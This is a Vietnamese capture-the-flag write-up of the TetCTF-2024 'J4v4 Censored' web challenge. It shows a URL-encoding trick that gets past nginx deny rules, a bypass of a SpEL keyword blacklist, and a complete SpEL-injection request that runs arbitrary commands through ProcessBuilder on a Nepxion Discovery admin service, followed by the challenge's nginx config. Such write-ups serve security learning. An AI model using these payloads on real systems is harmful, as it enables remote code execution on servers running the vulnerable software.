TetCTF-2024 Ctf Writeup - J4v4 Censored web challenge and unintended solution that break nginx rule

theme

preface

Hi! bài này mình sẽ writeup lại bài J4v4 Censored trong giải TetCTF-2024 mà team mình (KCSC) đã solve được. Đây là 1 bài java mình đánh giá không quá khó nhưng lại là half-black-box nên phải đoán, fuzzing khá nhiều nên khi làm mình khá nản nhưng cũng nhờ có teammates quyết tâm tìm ra được unintended solution nên may mắn (cũng chính là team duy nhất) solved được. Let’s start!

exploring

Đề cho url đến swagger endpoint nhưng khi truy cập thì không load được list các api: swagger Nguyên nhân do /v2/api-docs?group=discovery đã bị chặn: discovery

Thử chuyển thành post method thì bypass được luôn 😀😀: bypass_discovery

Từ info của swagger thì biết được app đang chạy /nepxion/Discovery module discovery-plugin-admin-center-starter-swagger nhưng như title discovery-springcloud-example-admin-remake thì có thể đã được modify.

Thử tìm CVE trên nền tảng này thì mình thấy có 2 lỗ hổng đáng chú ý là SpEL Injection và SSRF tại đây: https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/

PoC của 2 lỗ hổng này cũng có sẵn rồi, nhưng khi ốp vào thì lại không ăn ngay: test_poc Sau một hồi fuzz qua thì mình thấy các keyword như strategy, validate-expression đã bị chặn, cùng với một số ký tự như \ hay ;. Cũng dễ nhận thấy là endpoint này bị chặn bởi nginx chứ không phải java app, tiềm tàng nguy cơ bị bypass 😂.

bypass nginx

Ý tưởng chộp đến ngay là dùng bug SSRF để bypass và request đến endpoint /strategy/validate-expression từ localhost. Thử SSRF thì đến /swagger-ui.html thì vẫn ok: test_index

Nhưng đến /strategy/validate-expression thì không được, nguyên nhân cũng khá dễ hiểu do nginx đã chặn các keyword mình đã kể ở trên nếu nằm trong URL, mình cũng chưa tìm ra cách workaround nào khác do endpoint này lấy params từ path variable:

@RequestMapping(path = "/route/{routeServiceId}/{routeProtocol}/{routeHost}/{routePort}/{routeContextPath}", method = RequestMethod.GET)
@ApiOperation(value = "获取指定节点可访问其他节点的路由信息列表", notes = "", response = ResponseEntity.class, httpMethod = "GET")
    @ResponseBody
    public ResponseEntity<?> route(@PathVariable(value = "routeServiceId") @ApiParam(value = "目标服务名", required = true) String routeServiceId, @PathVariable(value = "routeProtocol") @ApiParam(value = "目标服务采用的协议。取值: http | https", defaultValue = "http", required = true) String routeProtocol, @PathVariable(value = "routeHost") @ApiParam(value = "目标服务所在机器的IP地址", required = true) String routeHost, @PathVariable(value = "routePort") @ApiParam(value = "目标服务所在机器的端口号", required = true) int routePort, @PathVariable(value = "routeContextPath") @ApiParam(value = "目标服务的调用路径前缀", defaultValue = "/", required = true) String routeContextPath) {
        return doRemoteRoute(routeServiceId, routeProtocol, routeHost, routePort, routeContextPath);
    }

Chall cũng được cấu hình để chặn out-bound do đó không thể bypass bằng cách tự host server để redirect về lại endpoint mong muốn. Stuck tầm 1 ngày thì cuối cùng đồng đội mình (@null001) đã tìm ra cách bypass nginx proxy để request được đến /strategy/validate-expression và exploit SpEL inject, cũng chẳng cần đến bug SSRF luôn(nghe là intended): ui_bypass_dc_r

URL để bypasss như sau:

/strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/

Vì không có source nên mình không thể confirm (sau khi giải end có source thì đã confirm được) nhưng mình giả định nguyên nhận là do nginx khi nhận request sẽ thực hiện normalize url trước khi thực hiện các directives để check, sau khi check lại proxy_pass original url chưa decode đến java app. Quá trình normalize đơn giản hóa như sau stackoverflow: stackoverflow

Do đó khi thực hiện request trên, nginx sẽ thực hiên url decode và normalize thành $uri='/' đẫn đến các rule check trên $uri='/' bằng 0 😆😆.

Nhưng cũng chưa ngon ăn ngay do param expression đã được tác giả custom lại và thêm các backlist keyword mà khi thực hiện SpEL inject sẽ không ăn ngay mà mình fuzz được thì đó là ', "toString. Ngồi bypass tiếp thôi

bypass SpEL injection blacklist

Với các keyword bị blacklist là ', "toString nhằm chặn tạo chuỗi string thì ai quen thuộc với dạng đề CTF này mình nghĩ cũng sẽ không quá khó khăn để bypass.

Do đang là dạng spel inject blind (+ không có out-bound) nên mình hình dung payload để exploit nó sẽ tương tự như này, hạn chế sử dụng các chuỗi string cũng như lấy được input và trả về response đều từ header:

T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter("\\A").next()))

Để dễ hiểu thì payload có thể được chia nhỏ như sau:

  1. Lấy spring response object để kiểm soát response của request:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse()
  1. Gọi setHeader() để trả về output của command từ response
  2. Dùng Scanner để lấy hết string output từ inputstream của process:
T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance().useDelimiter("\\A").next()
  1. Gọi ProcessBuilder thực thi command:
new ProcessBuilder(<input>).start()
  1. Lấy spring request object để lấy được input (command) từ request hiện tại:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest()
  1. Và gọi getHeader() để lấy input từ header 1

Để build được payload trên thì mình tự dựng lab tại local để test cho dễ thôi, tuy nhiên payload trên vẫn có chỗ bị blacklist đó là "\A", để bypass có thể dùng cách sau local_build_payload

Convert qua dạng ssti:

(new String(T(java.lang.Character).toChars(92))).concat(new String(T(java.lang.Character).toChars(65)))

Full payload:

GET /strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/?condition=T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new+ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter((new+String(T(java.lang.Character).toChars(92))).concat(new+String(T(java.lang.Character).toChars(65)))).next()))&validation=a%3dtest HTTP/2
Host: java.tienbip.xyz
1: /readflag

Done 😇: done

flag:

TetCTF{ssrf`bYp4ss-sst!;W1th<3. :)}

end - ref

nginx.conf

source được cung cấp: https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing

nginx.conf

server {
      listen 80;

      server_name    2024.tet.ctf;
      access_log /var/log/nginx/tetctf-access.log;
      error_log /var/log/nginx/tetctf-error.log;



      location / {
            proxy_set_header X-Forwarded-Host $host;
            proxy_set_header X-Forwarded-Server $host;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://nepxion-admin:1101;
      }

      location /v2/api-docs {
            if ($request_method = GET) {
                  rewrite /v2/api-docs /null break;
            }
            proxy_pass http://nepxion-admin:1101/v2/api-docs;
      }
      
      location ~ .*strategy.* {
            # prevent any cve for api endpoint :) 
            deny all;
      }


      location ~ .*validate-expression.* {
            # prevent any cve for api endpoint :) 
            deny all;
      }

      location ~ .*\/..\; {
            # it's bad for Tomcat :)
            deny all;
      }

      location ~ .*\/\; {
            # it's bad for Tomcat :)
            deny all;
      }

      location ~ .*\; {
            # it's bad for Tomcat :)
            deny all;
      }

}
  • Check location regex block trước prefix block: nginx_process

  • proxy_pass original url thay vì normalized url khi không specify uri this: proxy_pass

result 😍😍

result